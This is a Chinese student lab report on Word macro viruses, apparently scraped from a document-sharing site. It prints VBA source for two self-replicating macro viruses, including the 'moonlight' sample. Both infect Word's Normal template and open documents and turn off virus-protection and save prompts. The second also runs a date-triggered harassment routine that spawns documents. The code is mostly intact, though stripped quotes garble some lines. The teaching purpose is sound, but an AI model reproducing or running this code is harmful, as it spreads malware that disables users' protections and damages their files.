宏病毒实验报告
更新时间:2023-11-05 15:12:01 阅读量: 综合文库 文档下载
- 宏病毒实验报告推荐度:
- 相关推荐
宏病毒实验报告
201424010257 邹文敏
一、 实验目的
通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。 加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。
二、 实验内容
运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。
三、 实验步骤 实验一:
? 将word文档中的开发者工具打开;word 中心→信任选项→宏设计将信任选项打开
? 运行第一个实验Visual Basic →normal →Microsoft→the document
Project→microsoft word对象→the document复制如下代码:
'APMP
Private Sub Document_Open() On Error Resume Next
Application.DisplayStatusBar = False Options.VirusProtection = False
Options.SaveNormalPrompt = False '以上都是基本的自我隐藏措施 MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20) Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then _
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule With Host
If .Lines(1, 1) <> \ '判断感染标志
.DeleteLines 1, .CountOfLines '删除目标文件所有代码 .InsertLines 1, MyCode '向目标文档写入病毒代码 If ThisDocument = NormalTemplate Then _ ActiveDocument.SaveAsActiveDocument.FullName End If End With
MsgBox \End Sub
保存时注意保存为宏文件
实验一运行截图:
清除实验一中的内容只需要删除,the document 中的内容在保存即可。
实验二:
编写代码的位置同上;
代码如下: 'moonlight Dim nm(4)
Sub Document_Open() 'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host
If .Lines(1, 1) <> \
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 3, \
If ThisDocument = NormalTemplate Then .ReplaceLine 3, \ActiveDocument.SaveAsActiveDocument.FullName End If
End If
End With
Count = 0
If Day(Now()) = 25 Then try:
On Error GoTo try test = -1 con = 1
tog$ = \i = 0
While test = -1 For i = 0 To 4 nm(i) = Int(Rnd() * 10) con = con * nm(i)
If i = 4 Then tog$ = tog$ + Str$(nm(4)) + \GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + \ Next i beg:
Beep
ans$ = InputBox$(\今天是\跟你玩一个心算游戏\若你答错,只好接受震撼教育......\台湾NO.1 Macro Virus\ If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter Beep
With Selection.Font .Name = \细明体\ .Size = 16 .Bold = 1
.Underline = 1 End With
Selection.InsertAfter Text:=\何谓宏病毒\Selection.InsertParagraphAfter Beep
Selection.InsertAfter Text:=\答案:\Selection.Font.Italic = 1
Selection.InsertAfter Text:=\我就是......\Selection.InsertParagraphAfter Selection.InsertParagraphAfter Selection.Font.Italic = 0 Beep
Selection.InsertAfter Text:=\如何预防宏病毒\Selection.InsertParagraphAfter Beep
Selection.InsertAfter Text:=\答案:\Selection.Font.Italic = 1
Selection.InsertAfter Text:=\不要看我......\GoTo out
Else
Count = Count + 1 For j = 1 To 20 Beep Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter Selection.InsertAfter Text:=\宏病毒\
If Count = 2 Then GoTo out GoTo try
End If
正在阅读:
宏病毒实验报告11-05
关于在疫情防控期间开展线上党员春训工作的实施方案(特殊时期党02-25
爱需要表达作文600字07-02
师生共用教学案(七年级上期)03-10
校园里的树作文400字06-21
可爱的警察叔叔作文600字06-14
168元自助餐菜单A套12-31
大学生十七大思想汇报(2)02-24
2013电大开放英语期末复习指导模拟试题06-01
- 多层物业服务方案
- (审判实务)习惯法与少数民族地区民间纠纷解决问题(孙 潋)
- 人教版新课标六年级下册语文全册教案
- 词语打卡
- photoshop实习报告
- 钢结构设计原理综合测试2
- 2014年期末练习题
- 高中数学中的逆向思维解题方法探讨
- 名师原创 全国通用2014-2015学年高二寒假作业 政治(一)Word版
- 北航《建筑结构检测鉴定与加固》在线作业三
- XX县卫生监督所工程建设项目可行性研究报告
- 小学四年级观察作文经典评语
- 浅谈110KV变电站电气一次设计-程泉焱(1)
- 安全员考试题库
- 国家电网公司变电运维管理规定(试行)
- 义务教育课程标准稿征求意见提纲
- 教学秘书面试技巧
- 钢结构工程施工组织设计
- 水利工程概论论文
- 09届九年级数学第四次模拟试卷
- 宏病毒
- 实验
- 报告
- 中国宝宝布书行业市场分析与投资规划研究报告(2014-2019)
- 2014年7月份《信息技术与信息安全》公需科目试题集合(全) - 图文
- 健美操教学大纲
- 电大专科数控技术《数控机床电气控制》试题及答案1
- 0730jk-岳市教通(2012)47号关于2012年岳阳市中等职业学校技能竞赛结果的通报(1)
- 示波器的使用和注意事项
- 管理统计学
- 五年级上册第一单元作文:记一次精彩的辩论会
- 进料检验管理规定
- 2014年最全初中数学导学案 - 第11章 全等三角形 导学案
- 2016-2022年中国汽车传动轴总成行业监测及投资机遇预测报告 - 图文
- 2014南方凤凰台高考全真模拟卷十三大市答案
- 可控硅有关知识
- 青协实践部工作计划(共9篇)
- 比率P的假设检验及其应用-2016.06.08一读
- 提高剪力墙线盒安装施工质量qc成果 - 图文
- 0.5MW-1MWh集装箱储能系统方案 - 图文
- 广东省中山市2014届高三上学期期末物理试题Word版含答案
- 2017年二级建造师继续教育题库
- 情商管理让你的领导更有魅力